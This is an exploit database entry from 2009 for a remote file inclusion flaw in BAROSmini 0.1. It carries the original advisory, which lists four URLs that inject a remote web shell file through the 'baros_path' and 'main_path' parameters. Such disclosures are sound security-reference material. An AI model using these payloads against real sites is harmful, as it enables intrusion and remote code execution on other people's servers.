BAROSmini - BAnner ROtation System mini Multiple Remote File Inclusion Vulnerability

vendor:

BAROSmini

by:

EA Ngel

N/A

CVSS

N/A

Multiple Remote File Inclusion

CWE

Product Name: BAROSmini

Affected Version From: 0.1

Affected Version To: 0.1

Patch Exists: YES

Related CWE: N/A

CPE: a:barosmini:barosmini

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

BAROSmini – BAnner ROtation System mini Multiple Remote File Inclusion Vulnerability

BAROSmini is prone to multiple remote file-inclusion vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Mitigation:

Upgrade to the latest version of BAROSmini

Source

Exploit-DB raw data:

          +  BAROSmini - BAnner ROtation System mini Multiple Remote File Inclusion Vulnerability  +
                           

[@]======================================================================================================[@]
[+] Author	 	 : EA Ngel									 [+]
[+] Location    	 : Manado - Indonesia						                 [+]
[+] Situs          	 : www[dot]manadocoding[dot]net						    	 [+]					
[+] Contact        	 : engelpemula[at]gmail[dot]com							 [+]
[+] Download Script	 : http://sourceforge.net/projects/barosmini/    				 [+]	
[@]======================================================================================================[@]


[@]======================================================================================================[@]
[+] 3xpl0it		 : http://127.0.0.1/include/common_functions.php?baros_path=[webshell.txt?]      [+]
[+]                        http://127.0.0.1/include/lib/lib_users.php?main_path=[webshell.txt?]          [+]
[+]                        http://127.0.0.1/include/lib/lib_stats.php?main_path=[webshell.txt?]          [+]
[+]                        http://127.0.0.1/include/lib/lib_slots.php?main_path=[webshell.txt?]          [+]
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] Sp3ci4l Th4nks  	 : str0ke > basix > cr4wl3r > kamuiclone > Mr.C > steve_duma > cokiki > cyberlog [+] 
[+]                        arie_capedeh > doniskynet > rezagmas > g4pt3k > my_wisdom > hmei7 > k3nz0     [+]
[+]		           wishnu > bl4ck_3n91n3 > Mr.Crossbeam > kiddies > yadiyauri > zpy > moon_lee   [+]
[+]		           c6 > and friends                                                              [+]
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] Greetz t00		 : All Crew ManadoCoding [manadocoding.net]                                      [+]          
[+]                                                                                             	 [+]
[+]                        All Crew SekuritiOnline [sekuritionline.net]					 [+]
[@]======================================================================================================[@]


  
                                       [+] GOD BLESS ALL [+]

# milw0rm.com [2009-09-21]